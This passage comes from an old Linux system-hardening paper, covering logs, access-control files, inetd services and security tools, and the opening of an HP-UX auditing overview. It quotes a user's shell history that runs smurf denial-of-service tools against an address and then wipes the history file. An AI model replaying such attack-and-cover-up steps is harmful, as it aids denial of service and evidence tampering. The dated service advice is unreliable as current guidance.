Linux 3.0 system (Slack), 2.0.20 kernel, filling its hard drive as full
as it could go, and upon crashing when any command is input, it would
not boot upon shutting it down and turning it back on.
To set up quotas on your system, simply select it when you are
installing your system. It will install the quota set, which includes
all the programs needed to get them working. Later on you MUST recompile
your kernel to support quotas, otherwise they won't work. No, I'm not
going to go into how to compile you kernel. They have very long HOW-TO's
on how to do it (do a `find' for Kernel-HOWTO.tar.gz).
Once quota support is added to your kernel, add these lines to your
`/etc/rc.local' file at the end:
# Quota support and file checks
if [ -x /usr/sbin/quotacheck ]
then
echo "Checking quotas. This may take some time."
/usr/sbin/quotacheck -avug
echo " Done."
fi
# Turning ON quotas
if [ -x /usr/sbin/quotaon ]
then
echo "Turning on quota."
/usr/sbin/quotaon -avug
fi
# Done
Once you reboot, `quotacheck' will first check your file system and
make sure no one is over quota, along with other house keeps operations,
then `quotaon' will turn on quota support for your system. A simple
command of `quota user' will give you the quotas for a user, or `quota
group' will give you a set quota for a group. To change a quota, issue
the command `edquota [user] or [group]'. This will open a temp file with
your editor, as specified in your `.profile', and give you power to
change a user, or groups quota. For example:
showdown:/admin/bronc# edquota tidepool
Quotas for user tidepool:
/dev/hda1: blocks in use: 279, limits (soft = 10000, hard = 15000)
inodes in use: 35, limits (soft = 1300, hard = 1500)
From here you can see that this users quota on hda1 is 10megs soft,
and 15megs hard. Which simple gives the user a grace period to go over
their quota. If they stay over their quota over the grace period (I use
10 days), when they login they can't do anything, except delete files.
The same goes for their files, or inodes. You can set a soft and hard
limit on these as well. If these are set to `0' then they have no limit
(bad idea).
You can use quotas in various ways to secure against on system
attacks, and your hard drive getting filled up. If you want to get more
in depth, try `man quota'. It can tell you it's other functions, how to
manually start and stop this service and where the quota information is
stored on your system.
------------------------------------------------------------------------
5. Logs
One of the most important parts of being a good system admin is
regularly reviewing the systems logs, but if you don't know where they
are, or what you are logging what use are they? This is a very important
section and I urge you to read it thoroughly! The only way you are going
to see if you are being probed for an attack, or if someone has been
attacking you is by checking the logs.
So where are the logs and how is information sent to them? Well on a
Linux system, they are located in a directory called `/var/adm/' or in a
directory called `/var/logs' but usually they are linked together. By
default, there are only two logs, `syslog' and `messages' but we need to
make more. Logs are made from two daemons, `klogd' and `syslogd'.
`klogd' intercepts and logs Linux kernel messages, while `syslogd' logs
all system messages. These are system daemons which are automatically
started by your `rc.*' files upon boot. To configure what you log, you
must edit a file called `/etc/syslog.conf', this file tells what
`syslogd' is to log, and where it is to put it. Here is how I have mine
set up:
# /etc/syslog.conf file
# for more information about this file, man `syslog.conf' or `sysklogd'
#
# Modified by Bronc Buster
mail.none;*.=info;*.=notice /usr/adm/messages
*.=debug /usr/adm/debug
*.err /usr/adm/syslog
*.=alert root,bronc
*.=emerg root,bronc
authpriv.*;auth.* /admin/bronc/auth.log
authpriv.*;auth.* /var/log/secure
mail.info;mail.notice /var/log/maillog
daemon.info;daemon.notice /var/log/daemon.log
*.* /dev/tty12
# EOF
Ok, if you don't know how this file is formatted and what phrases to
use here, read up on the man page, `man syslog.conf'. I don't want to go
through and waste two or three pages on explaining it. Lets go through
my file line by line and see how it works. I wanted to make my logs
simple, easy to understand and be specific as to what they have in them.
First, my `messages' file was getting full of junk errors from my mail
program, so I went and took out all messages associated with mail; i.e.
`mail.none'. Then I wanted all messages at the `info' or `notice' level
to be placed into it, so I added that into the same line as well. Next,
I wanted all `debug' messages, sent to their own file, as well as all
`err' (error) messages. Any `alert' or `emerg' (emergency) messages I
wanted sent to the console or the terminal I was logged on, so I would
know about them as soon as possible. The nest two lines have to do with
connections and possible logins. I wanted to have a file that had
nothing but who and when, so I could easily check out who logged in and
when, and I also wanted an extra copy put in my own home directory so
incase someone somehow edited it and took themselves out, I'd still have
my own copy plus when I wanted to take a look at it, it was easily
viewable. That's what the lines with the `authpriv' and `auth' are
doing. The first one puts the log in my directory, the second in the
normal logging directory. The next line deals with all the mail messages
that I took out of the first `messages' file and puts them in their own
log file. Nothing but mail here, so there is nothing else in there to
confuse you. The `daemon' line logs all messages regarding the system
daemons, and, like the mail line above, nothing else so there is nothing
to get confused over. The last line is also a very important one. It
sends all logs to /dev/tty12, so even if your logs were to get deleted,
from the console you can hit Ctrl-F12 and see the last page of messages
so you can get an idea of what happened. These different logs each cover
a different aspect of your system, and keep them unscrambled and easy to
read through. Remember, the easier the better.
If I had another box I could use, I would also pipe all the logs off
my box to the other box. With syslog, you have the option of sending all
the logs off your box for remote logging. You could put a poor old 386,
with Linux, on your network with nothing running but `inetd' and
`syslogd' and send all your systems logs over to it with this simple
line in your `syslog.conf':
# log ALL other boxes IP number
#
*.* @<boxes IP here>
Now that your main system logs are secure, what about other log files?
You still have `/var/log/wtmp' and `/var/log/utmp', plus each users
shell histories. Because on some systems, `cron' archives your system
logs, you normally can't `chattr' them, or mess with them much, but you
can on the other logs. `chattr' changes a files attributes on an EXT2
file system, like you are using on your Linux system. With this command,
you can make a file so it can't be deleted or edited, except to be
appended (`man chattr' for more info on this useful command). This magic
command can make the `wtmp' and `utmp' file so it can only be appended
to, and so it can't be deleted or changed so as to show a user never
logged on, or where they logged on from. With this same command, you can
also fix all the users shell histories. Normally, any shell histories
made by each user, are owned by each user, making them totally useless
as a skilled user will first thing, link it to `/dev/null'. By using the
`chattr +a' option of the `chattr' command on `wtmp', `utmp' and each
users shell histories, you can track down problems quickly. I don't know
how many troublesome users I have tracked down simply going into their
shell histories and looking for problems they have caused. Like here is
an example:
--- snip ---
gcc smurf.c -o smurf
smurf <IP edited out>
smurf <IP edited out>
gcc octpuss.c -o octop
octop <IP edited out>
ping <IP edited out>
ping -s 2000 <IP edited out>
rm smurf*
rm otc*
rm .bash_history
rm .bash_hirtory
vi .bash_history
exit
logout
This, soon removed user, was using denial of service attacks to attack
another system, and in return they were attacking us. Users like this
can get you, the admin, in hot water and need to be removed as soon as
possible. If it wasn't for the fact I `chattr +a' all the users shell
histories, I never would have tracked it down to a specific user. When I
add a user, I use a modified the `adduser' script so it automatically
`chattr +a' their shell histories. To do the same, simply open the
`adduser' script with an editor and add these lines at the end:
# chattr +a users shell histories
if [ -d $HME ]; then
chmod 711 $HME
cd $HME
/bin/touch .bash_history
/bin/chown $LOGIN:users .bash_history
/usr/bin/chattr +a .bash_history
/bin/touch .ksh_history
/bin/chown $LOGIN:users .ksh_history
/usr/bin/chattr +a .ksh_history
/bin/touch .sh_history
/bin/chown $LOGIN:users .sh_history
/usr/bin/chattr +a .sh_history
fi
You need to keep close tabs on your log files, they are your eyes and
ears of your system. You need to make them secured, easy to read and
make sure they cover all aspects of what the system logging daemons can,
and are logging.
------------------------------------------------------------------------
6. Access Security (remote and physical)
Access is an often-overlooked part of the total security picture. Both
remote and physical access must be dealt with. It takes more than a
strong password to keep people off your system, you have to know what
files to use to control access even if someone were to get a valid login
and password. There are files in your system that can gratefully help
and give you stronger control over who connects, as there are also files
that don't exist and that you need to make that can also help with local
controls as well. Here are the files we are going to cover then we will
go onto physical access controls:
/etc/suauth
/etc/ftpaccess
/etc/hosts.deny
/etc/hosts.allow
/etc/securetty
First, `suauth', it is the file that controls who is allowed to use
the `su' (Switch User) command. This command, as you know, lets you
become a root user, or lets you become any other user for that matter
and is SUID, so you want to keep a tight grip on who is allowed to use
it. The `suauth' file has a certin format, being:
TO:FROM:ACTION
Simple looking enough. The `TO' field tells what user you are going
to, in this case, say `root'. The `FROM' field controls which user or
group is being applied to go `TO' root. The `ACTION' tells what to do in
each case. `ACTION's that can be used are, `OWNPASS', `DENY' and
`NOPASS'. Here is a clipping out of the `suauth' man page so you can get
a better feeling of how these all tie together.
# A couple of privileged usernames may
# su to root with their own password.
#
root:chris,birddog:OWNPASS
#
# Anyone else may not su to root unless in
# group wheel. This is how BSD does things.
#
root:ALL EXCEPT GROUP wheel:DENY
#
# Perhaps terry and birddog are accounts
# owned by the same person.
# Access can be arranged between them
# with no password.
#
terry:birddog:NOPASS
birddog:terry:NOPASS
#
On my system, I have done what is in the second example. I edited the
`/etc/group' file and added another group called `wheel'. This group is
somewhere between the group `users' and `root', and I then added the
users to this group that I wanted to be allowed to `su'. In the `suauth'
file, I simply told it not to allow anyone to `su' unless they are in
the group `wheel'. One down. Need any more help, try `man suauth'.
Next is the `ftpaccess' file. This file controls a lot of stuff
regarding your ftp services, like who can upload and download, if
anonymous connections are allowed and if there are any hosts you don't
want connecting at all. Because this file controls so much, I'm only
going to get into how to block hosts from connecting, as I am dealing
with access control, so for more information on how to set up other
features in this file, as always `man ftpaccess'. Now this file has a
simple rule set, and is not very picky in where you place things in it.
For example, if we were going to add someone to our deny list, we could
add it at the very top, the middle or the end and it won't care. I
usually add them to the bottom as you want room to keep adding. The
format is a very simple one, `deny <ip or domain> <message file>'. Here
is how mine looks:
# deny these domains from getting on my FTP site
#
#deny host path to nasty message
#
deny *.sekurity.org /etc/msgs/msg.dead
deny *.303.org /etc/msgs/msg.dead
dent *.tacd.org /etc/msgs/msg.dead
deny *.dim.com /etc/msgs/msg.dead
deny *.comsite.net /etc/msgs/msg.dead
deny su1d.technotronic.com /etc/msgs/msg.dead
I think it's very easy to understand the format of this file, except
maybe the last part, `/etc/msgs/msg.dead'. This is simply a path to a
text file you want to be shown the person who is denied. Anyone
connecting and getting access into the system, or getting denied, will
show up in your log files (/var/logs/secure) so remember to check them
from time to time if you notice any funny activity.
The `hosts.deny' and `hosts.allow' files work hand in hand with each
other and are, by default, used on almost all-modern versions of Unix.
These files work in conjunction with TCP Wrappers, which you are most
likely using now if you know it or not. TCP Wrappers, in brief, is a
program called `tcpd'. From the man page, it monitors incoming requests
for telnet, finger, ftp, exec, rsh, rlogin, tftp, talk, comsat and other
services that have a one-to-one mapping onto executable files. What does
that mean? Well in short, it watches programs that are in your
`/etc/inetd.conf' file which are the programs that are started by
`inetd' when in incoming request asks for an assigned program it watches
for. The `tcpd' program is put into the `inetd.conf' file in place of
the normal programs and whenever a request for service arrives, the
inetd daemon is tricked into running the `tcpd' program instead of the
desired server. `tcpd' logs the request and does some additional checks.
When all is well, `tcpd' runs the appropriate server program and goes
away. If you look at your `/etc/inetd.conf' file a line should like
similar to this:
smtp stream tcp nowait root /usr/sbin/tcpd sendmail -bs
Here you can see that my `tcpd' is started, instead of sendmail, when
an incoming request it sent to my smtp port. `tcpd' then logs the
request and checks your `hosts.deny' and `host.allow' files. The
`hosts.*' files do what their names suggest. They allow, or deny
connections. Their formats are very easy to use; Connection:IP address.
showdown:~$ cat /etc/hosts.deny
ALL: 130.85.3.8
ALL: 207.172.56.57
Here I am blocking ALL connections from these two IP numbers. If I
wanted I could block the entire class C, or change it to a domain and
block that. You can put as many IP in here as you want, or if you are
super paranoid, you can even put `ALL:ALL' and deny all connections.
If you deny everyone, you can then select hosts to allow connections
from. This is when you would use your `hosts.allow' file. It has the
same format as the deny file, but unless you deny `ALL:ALL' I've never
had to use it. But whose to say what your security needs are. Maybe you
only want a select few people to be allowed to connect to your box. If
so this is how you would do it. As most of the other files, they can
also be tweaked a bit more and have other options. To get more
information on them, `man tcpd'.
Lastly, we will go over an
other simple, but surpassingly often
overlooked file. The `/etc/securetty' file simply controls where `root'
can log in from. As it comes default, it allows root to log in from any
tty, local or remote. Here is the default:
console
tty1
tty2
tty3
tty4
tty5
tty6
ttyS0
ttyS1
ttyS2
ttyS3
ttyp0
ttyp1
ttyp2
ttyp3
That's all it is. If you had no idea what this file did how would you
know (`man securetty' maybe)? These are the `/dev/tty's that are on your
system, remote and local. The `ttyp*' and the `ttyS*' are remote, and
the rest, as you can guess are local at the console. You, I hope, want
to keep anyone from logging on as `root' anywhere, except from the local
tty's. To do this, simply edit this file and comment out all the remote
tty's with the `#' like so:
#Keep root from logging on with a remote /dev/tty
console
tty1
tty2
tty3
tty4
tty5
tty6
#ttyS0
#ttyS1
#ttyS2
#ttyS3
#ttyp0
#ttyp1
#ttyp2
#ttyp3
That's that for remote access security. Now I'll move onto physical
access. Now most places your box is going to be will be secure by the
nature of place it is. If it is at your ISP, then most likely it is
secure. If it's co-located, the people at your ISP most likely know you
and know you box, plus if your box is with theirs, I'm sure they don't
want anyone back with their machines as much as you don't. If It's on a
LAN, keep it locked in your office, or if that's not possible, try and
keep it under a desk or on the floor out of the way where no one will
notice it. While you can't count on `security through obscurity' online,
in physical access you want to use it. My box at my ISP is on the bottom
rack next to 4 other machines that look similar to mine, all with no
monitors and only keyboards attached (for remote reboots). There are no
labels or any identifying marks at all. It is out of the way and very
inconspicuous. If someone is going to go into the place your box is
stored, you don't want to make it easy to identify, or find for that
matter. Make them have to hook up a monitor and check each box until
they find yours. Hopefully they will get discouraged or get cough by
then.
A very important note and common sense: NEVER walk away from the
console and leave root logged in, or any user for that matter. Log out,
or lock the terminal!
As far as other physical security measures, well if it's sitting in
your house, what can you do besides lock your doors. If it's at your
ISP, you have to rely on them. If it's at work, keep it out of sight or
locked up. Just be smart. Keep the console locked. Don't leave a monitor
hooked up to it if it's not at your house. If someone wants to get to
it, it's not like it's going to be kept in some top-secret lab
somewhere, they are going to get to it. If they do, try and make it so
the most damage they can do is to simply turn it off.
------------------------------------------------------------------------
7. Misc. Files
Now I am going to cover the other files around the system that don't
fall under the other categories I've went through so far. There are only
a few, but they are an important few. These files are:
/etc/inetd.conf
/etc/services
/etc/nologin
/etc/issue.net and /etc/issue
/etc/passwd
/etc/shadow
/etc/group
First, the `inetd.conf' file. This file is the configuration file for
your `inetd' daemon. This daemon listens for connections on certain
ports for and then decides what service to invoke, if any as told to it
by the `inetd.conf' file. As you can imagine, this is an important file
as whatever services are in it can be invoked by it. As default, all the
services in it are open. I guess the writers of it though we were living
in lollypop land and everyone was friendly, but unfortunately it's not.
To edit this file, as with the ones before, you use `#'. You're
`inetd.conf' file should look similar to this one before being edited:
-------- snip ---------
# The first 4 services are really only used for debugging purposes, so
# we comment them out since they can otherwise be used for some nasty
# denial-of-service attacks. If you need them, uncomment them.
echo stream tcp nowait root internal
echo dgram udp wait root internal
discard stream tcp nowait root internal
discard dgram udp wait root internal
daytime stream tcp nowait root internal
daytime dgram udp wait root internal
chargen stream tcp nowait root internal
chargen dgram udp wait root internal
time stream tcp nowait root internal
time dgram udp wait root internal
#
# These are standard services.
#
ftp stream tcp nowait root /usr/sbin/tcpd wu.ftpd -l -i -a
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
#
#
# Use this one instead if you want to snoop on telnet users (try to use
this
# for ethical purposes, ok folks?) :
# telnet stream tcp nowait root /usr/sbin/tcpd
/usr/sbin/in.telnetsnoopd
#
# This is generally unnecessary. The daemon provided by INN will handle
the
# incoming NNTP connections.
nntp stream tcp nowait root /usr/sbin/tcpd in.nntpd
#
----- snip -----
smtp stream tcp nowait root /usr/sbin/tcpd sendmail -bs
#
# The comsat daemon notifies the user of new mail when biff is set to y:
comsat dgram udp wait root /usr/sbin/tcpd in.comsat
#
# Shell, login, exec and talk are BSD protocols.
#
shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L
login stream tcp nowait root /usr/sbin/tcpd in.rlogind
exec stream tcp nowait root /usr/sbin/tcpd in.rexecd
talk dgram udp wait root /usr/sbin/tcpd in.talkd
ntalk dgram udp wait root /usr/sbin/tcpd in.talkd
# Kerberos authenticated services
#
# klogin stream tcp nowait root /usr/sbin/tcpd rlogind -k
# eklogin stream tcp nowait root /usr/sbin/tcpd rlogind-k -x
# kshell stream tcp nowait root /usr/sbin/tcpd rshd -k
#
# Services run ONLY on the Kerberos server
#
# krbupdate stream tcp nowait root /usr/sbin/tcpd registerd
# kpasswd stream tcp nowait root /usr/sbin/tcpd kpasswdd
#
# Pop et al
#
pop2 stream tcp nowait root /usr/sbin/tcpd in.pop2d
pop3 stream tcp nowait root /usr/sbin/tcpd in.pop3d
# The ipop3d POP3 server is part of the Pine distribution. If you've
# installed the Pine package, you may wish to switch to ipop3d by
# commenting out the pop3 line above, and uncommenting the pop3 line
below.
pop3 stream tcp nowait root /usr/sbin/tcpd ipop3d
imap2 stream tcp nowait root /usr/sbin/tcpd imapd
#
# The Internet UUCP service.
#
uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico-l
#
# Tftp service is provided primarily for booting. Most sites
# run this only on machines acting as "boot servers."
#
tftp dgram udp wait nobody /usr/sbin/tcpd in.tftpd
# bootps dgram udp wait root /usr/sbin/in.bootpd in.bootpd
#
# Finger, systat and netstat give out user information which may be
# valuable to potential "system crackers." Many sites choose to disable
# some or all of these services to improve security.
# Try "telnet localhost systat" and "telnet localhost netstat" to see
# that
# information yourself!
#
finger stream tcp nowait nobody /bin/sbin/tcpd in.fingerd
systat stream tcp nowait nobody /usr/sbin/tcpd /bin/ps -auwwx
netstat stream tcp nowait root /usr/sbin/tcpd /bin/netstat-a
#
# Ident service is used for net authentication
auth stream tcp wait root /usr/sbin/in.identd in.identd -w-t1 20 -l
#
#
# These are to start Samba, an smb server that can export filesystems to
# Pathworks, Lanmanager for DOS, Windows for Workgroups, Windows95,
#Lanmanager
# for Windows, Lanmanager for OS/2, Windows NT, etc.
# If you're running smbd and nmbd from daemons in /etc/rc.d/rc.samba,
#then you
# shouldn't uncomment these lines.
netbios-ssn stream tcp nowait root /usr/sbin/smbd smbd
netbios-ns dgram udp wait root /usr/sbin/nmbd nmbd
#
# Sun-RPC based services.
# <service name/version><sock_type><rpc/prot><flags><user><server><args>
# rstatd/1-3 dgram rpc/udp wait root /usr/sbin/tcpd rpc.rstatd
# rusersd/2-3 dgram rpc/udp wait root /usr/sbin/tcpd rpc.rusersd
# walld/1 dgram rpc/udp wait root /usr/sbin/tcpd rpc.rwalld
#
# End of inetd.conf.
This is a cut down version, but should look very similar to yours. You
need to take some of these services out; the ones you don't use and the
ones you don't need. Some of them tell you what they are used for,
others don't. You need to go through and see what services you need, and
what you don't.
For a normal server, I have almost all these services edited out, as
they are not used or pose security risks. Here are the services I left
open in mine:
time stream tcp nowait root internal
time dgram udp wait root internal
ftp stream tcp nowait root /usr/sbin/tcpd wu.ftpd -l -i -a
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
smtp stream tcp nowait root /usr/sbin/tcpd sendmail -bs
talk dgram udp wait root /usr/sbin/tcpd in.talkd
ntalk dgram udp wait root /usr/sbin/tcpd in.talkd
auth stream tcp wait root /usr/sbin/in.identd in.identd -w -t1 20 -l
All the other services I don't use, or can do without. These are
essential services that are needed for a server that has users on it.
These are services they need so they may connect, send mail, and other
basic user activities (ftp, telnet, smtp, talk, ntalk), plus a few other
to help me verify connections (auth). All the others you can edit out
without fear of cutting off users or hurting the system.
I also modified my finger service a bit. I usually have it turned off,
but for fun I did this:
finger stream tcp nowait nobody /bin/cat cat /etc/finger.txt
All this does is, instead of returning the normal `finger'
information, is echo a file, the file `/etc/finger.txt', back to the
person who has fingered your system. You can put whatever you want to be
in the `finger.txt' file, so have a bit of fun with it :).
The `/etc/services' file lists the ports on your system that have
services connected to them. Think of them like a bunch of open windows
that you can go through. You want to close all the windows you're not
using or watching because most remote exploits are run on ports that are
running some obscure service that no one thinks about or uses. If you
take a look at this file, you'll see it's quite large. It lists port
numbers with the protocol and the service on each port. You can also
edit out ports with the `#' in this file. Here is the man pages
definition: `services' is a plain ASCII file providing a mapping between
friendly textual names for internet services, and their underlying
assigned port numbers and protocol types. Every networking program
should look into this file to get the port number (and protocol) for its
service.
Instead of showing you all the ports, I'll show you what ports I have
open, and you can see how they correspond to my `inetd.conf'.
netstat 15/tcp
ftp 21/tcp
ssh 22/tcp #Secure SHell
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp timserver
time 37/udp timserver
whois 43/tcp nicname
finger 79/tcp
www 80/tcp http # WorldWideWeb HTTP
www 80/udp # HyperText Transfer Protocol
auth 113/tcp tap ident authentication
talk 517/udp
ntalk 518/udp
As you can see, the majority of the ports do not need to be open. You
need to run the minimum number of ports to get the job done. If you're
not sure if what a port does, try using `man' and checking what the
service is. You can even block a port and see how it goes, then, if
needed, come back and unblock it later. One note you want to remember.
If the service is open in the `inetd.conf' file, then you also want it
to be open in this file as well.
The next file is `/etc/nologin'. This file may be useful when you need
to lockdown the system to find a problem where you need all the users
off the system, track down a problem user or stop a hacker in progress.
By simply making a file called `nologin', or what is commonly done is
`mv'ing the `motd' file, no non-root users will be allowed to log on to
the system. The system will let them log on, it will then echo to them
whatever is in the `nologin' file, then terminate their connection.
The `/etc/issue.net' and the `/etc/issue' files can be important in
taking away a good way of getting information on your system. A lot of
people will simply telnet to a system and look at the login prompt to
see what type of operating system is running. By changing the `issue'
file instead of telnet showing this:
Welcome to Linux 2.0.35.
Showdown login:_
You can make it show whatever you want. Both of these files are plain
ASCII files. Simply edit it and put in whatever you want:
\__ ^^ __/
X X
\ /
\/
Welcome to eLe3t mIcRoSoFt uNiX v6.66
Showdown login:_
The `/etc/passwd', `/etc/shadow' and the `/etc/group' files I hope you
already know are very important files. They hold the power is the system
and tells the system, who is who and who has the power to do what. I
hope, as you are the admin of a box, you know how important these files
are. You need to insure the passwords are strong, that there are no
users with no passwords, there are no other users except root with the
UID of 0 and that the permission on the files are set correctly. By
default the permissions are correct, so don't change them. The Shadow
Suite takes good care of things though security wise, so besides these
simple things, you don't have to worry much about them. Take a chance to
look through all three of these files and familiarize yourself with them
so you can spot a problem if one were to appear.
------------------------------------------------------------------------
8. Third Party Tools
Well this part I threw in because I have found some free tools
floating around the net that are extremely useful. Some of these tools
are `must gets'.
SSH
If you are not running SSH, you need to be. SSH uses keys, similar to
PGP, to authenticate logins and then encrypts the session both to and
from the server. Someone running a network packet sniffer can very
easily capture logins and passwords from another unsecured machine on
your LAN, but not if you use SSH. Most newer SSH clients support vt100
and all the cool ASCII colors, and such so by getting it, you're not
losing anything, but your gaining a piece of mind and some real
security.
You can get SSH and read more about it at:
SSH FAQ's - http://www.uni-karlsruhe.de/~ig25/ssh-faq/
FiSSH, Free SSH Win95/NT client - http://www.massconfusion.com/ssh/
SSH Club FI - http://www.cs.hut.fi/ssh/
Sentry
Although still in Beta form, this is a super useful program I now run
on all my systems. Here is a clipping from its README file to briefly
tell what it does:
The Sentry is part of the Abacus Project suite of tools. The Abacus
Project is an initiative to release low-maintenance, generic, and
reliable host based intrusion detection software to the Internet
community.
This program listens to ports, you designate, and takes actions
depending on different rules you set for it. This is to give you a heads
up that someone may be probing your system, or launching DoS attacks
against it. It can log the activity, can add the offending hosts to the
`/etc/hosts.deny' file, the local system can be automatically re-
configured to route all traffic to the target to a dead host to make the
target system disappear and it can also be re-configured to drop all
packets from the host via a local packet filter.
All and all it's a program I think you need to install, understand and
use.
You can get more information and get Sentry at:
Sentry Abacus Project - http://www.psionic.com/abacus/abacus_sentry.html
Logcheck
This tool is also part of the Abacus Project and is a must get. When
used in conjunction with SSH and Sentry, it can keep you easily informed
to the happenings around your system. This program, via cron, checks
your logs on a timed basis looking for certain key words that can
trigger a level of alert. Like Sentry, you set the rules as to what it
looks for and what it does, and it's easily configurable. It can do
simple things like e-mail you, or echo to your console or even shut down
the system depending on what rules you give it.
You can get more information and get Logcheck at:
Logcheck Abacus Project -
http://www.psionic.com/abacus/abacus_logcheck.html
Secure Ping v1.0
This is a secure replacement for the normal `ping' program on your
system. `ping' is often abused by users trying to icmp other hosts with
the feared pings-of-death and the like. This program limits both users
and root as to the sizes of packets and the number of packets that can
be sent. If someone tried to abuse Secure Ping, it simply tells the user
to take a hike and then sends a line to the log files which Logcheck
then picks up later and tells you about.
You can get more information and get Secure Ping at:
Secure Ping - http://www.sy.net/security
Smurf Logger v1.1
This program does what its name says. It logs ICMP Smurf attacks.
Unlike a normal ICMP Ping logger, this won't fill up your hard drive
with meg after meg of logs. It logs repeat attacks with one line. This
is also a nice program to have so you can see if your box is getting hit
or not, and then take actions to block it at the router level.
You can get more information and get Smurf Logger v1.1 at:
Smurf Logger - http://www.sy.net/security
Tripwire
Tripwire is a tool to use just incase your system has been breached.
Once installed correctly, with a correct config file, this program will
look at all the files on your system, see their sizes and their dates
then, whenever you want, will recheck them to see if they match. This is
a good way to find out if a file has been tampered with, trojened or
backdoored. The only draw back is that you need to keep a read-only
floppy in the floppy drive.
You can get more information and get Tripwire at:
COAST Archives - ftp://coast.cs.purdue.edu/pub/COAST/Tripwire
Lsof
This handy file checks for files on the system that are open. They can
either be legit files that are opened, like eggdrop files, or they can
be files that someone `forgot' to close and is eating up 100% CPU. This
is another handy file to have in your arsenal.
Prudue Unix Tools - ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/
Well I know there are a ton of other programs out there floating all
over the net that, and maybe there are some that do a better job then
these do, but these are the ones that I use and the ones I have found
that work and are easy to use. As new program come out everyday, you
have to keep on the lookout for what's new, and look for what's best for
your needs.
------------------------------------------------------------------------
9. Conclusions
Well, as you can see by the shear length of this paper that security
for an operating system like Linux is not as simple as it may look. This
paper has only touched on the basics of a lot of things you must know
and get familiar with. This paper, if in depth, could of gone on to be a
book (and I could of charged $50, hehehe), but as with all good papers,
it's a work in progress.
The bottom line is you have to plan what your needs are going to be.
You must implement you system to meet your needs, and then you have to
be alert. The admin of a system is the bottom line when it comes to
security. The admin must stay alert and watch his system, he must watch
the security posts and mailing lists and must keep informed when new
patches, kernels and programs come out. An admin must also keep their
up-streams informed as well, and stay in good contact with them so they
may trade valuable information with you so you both know what is going on.
Heck, you can go on forever about what a good sys admin has to do to
keep a secure system, but you have to start with knowing your system. I
hope this paper has helped.
------------------------------------------------------------------------
PLEASE send me suggestions, tips and advice to help make this paper
a better one!
[EOF]
---------------------------------------------------------------------------
[tip]---------HP-UX: A Security Overview, Part Two
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
HP-UX: A Security Overview, Part Two revision01 10sep98
by: tip (tip@legions.org)
---------------------------------------------------------------------------
Table of Contents:
1) Introduction 5) The Trusted System: DB Lib Routines
2) The Trusted System: Auditing 6) Other Info Pt 1
3) The Trusted System: ACLs 7) To Be Continued
---------------------------------------------------------------------------
1) Introduction
a) This text is designed to complement to general Unix knowledge. All Unix
OS's are different in their own right. This text will delve into HP-UX-
specific areas. This is not a Unix tutorial, rather a supplement to
fundamental Unix knowledge.
b) This text will cover HP-UX version 10.x primarily. Specifically, 10.10
and 10.20 will be in mind. 11.0 has been released and I haven't gotten
to checking it out yet. 9.x is old, and no longer supported by HP. Thus,
the most logical choice (and most popular version of HP-UX) is 10.x.
c) I'm not perfect; please notify me of any errors in the document. Also,
if you see anything you want added to this file, feel free to send them
to me.
---------------------------------------------------------------------------
2) The Trusted System: Auditing
Auditing is a feature only available on Trusted Systems. It provides a
means to record events and analyze security. Monitoring is done from the
command line or through SAM (Systems Administration Manager). Most
commonly, SAM is used to do auditing.
Auditing commands
These are pretty self-explanatory. Check man pages for detailed info.
audsys(1m) : start/halt auditing and set/display audit file information
audusr(1m) : select user to audit
audevent(1m) : change/display event/syscall status
audomon(1m) : set audit file monitoring and size parameters
audisp(1m) : display audit record
What system calls does auditing log?
Basically system calls are grouped into event types. Auditing is
selective by this event type, not by particular system calls. One thing
to note: the event types of admin, login, and moddac are logged by
default. See below for which system calls fit under which event type.
These are selectable under SAM.
event type: system calls:
----------- -------------
admin audevent(1m), audisp(1m), audswitch(2), audsys(1m),
audusr(1m), chfn(1), chsh(1), init(1m), passwd(1),
privgrp(2), pwck(1m), reboot(2), sam(1m), setaudid(2),
setaudproc(2), setdomainname(2), setevent(2),
sethostid(2), settimeofday(2), swapon(2)
close close(2)
create creat(2), msgget(2), mknod(2), mkdir(2), pipe(2),
semget(2), shmat(2), shmget(2)
delete msgctl(2), rmdir(2), semctl(2)
ipcclose shutdown(2)
ipccreat bind(2), socket(2)
ipcdgram udp(7)
ipcopen accept(2), connect(2)
login init(1m), login(1)
modaccess chdir(2), chroot(2), link(2), newgrp(1), rename(2),
setgid(2), setgroups(2), setresuid(2), setuid(2),
shmctl(2), shmdt(2), unlink(2)
maddoc chmod(2), chown(2), fchmod(2), fchown(2), fsetacl(2),
setacl(2), umask(2)
open execv(2), execve(2), ftruncate(2), lpsched(1m), open(2),
ptrace(2), truncate(2)
process exit(2), fork(2), kill(2), vfork(2)
removable smount(2), umount(2), vfsmount(2)
uevent1 reserved for custom self-auditing programs
uevent2 reserved for custom self-auditing programs
So what is a self-auditing program? Basically, the amount of data that
is audited can become cumbersome; thus self-auditing programs log only one
entry decribing their process, after suspending the auditing of their
actions. The intent is to limit and thus, optimize the audit data that is
logged.
Standard processes that are self-audit capable:
audevent(1m), audisp(1m), audsys(1m), audusr(1m), chfn(1), chsh(1),
init(1m), login(1), lpsched(1m), newgrp(1), passwd(1), pwck(1m).
Where are audit logs located?
/.secure/etc/audfile1 (primary log) switch size = 5 megs (AFS)
/.secure/etc/audfile2 (auxiliary log) switch size = 1 meg (AFS)
Warnings are sent when the log file reaches 90%.
The Audit File Switch (AFS, as seen above), is basically a defined
limit for the primary log file. The File Space Switch (FFS), is the
defined limit for the filesystem for which the audit logs reside on.
When the AFS limit is reached for the primary log, the audit logs are
stopped, and then started on the auxiliary log. If no auxiliary log
exists, it keeps on continuing to log on the primary. Now, if both the
AFS and FFS limits are reached, it _still_ continues to log. Obviously
this will be logged that the limit has been reached. But when does it
stop? Basically a system parameter in the kernel, called min_free, stops
all audit log activity if that point is reached.
Thus, in a nutshell...
-----------------> as size of audit logs increase -------------------->
primary AFS reached, give warning, switch to:
auxiliary log -> when auxiliary AFS is is reached,
give warning, and:
watch FFS -> when that limit is reached,
give warning, and:
watch min_free parameter -> when that
limit is reached, halt all
audit logs, until they are
removed
---------------------------------------------------------------------------
3) The Trusted System: ACLs
Access control lists are are basically an "extended" set of permissions
for files and directories. Two things to note: 1) ACLs are slowly being
phased out (11.0 supports them, but this might be the last version that
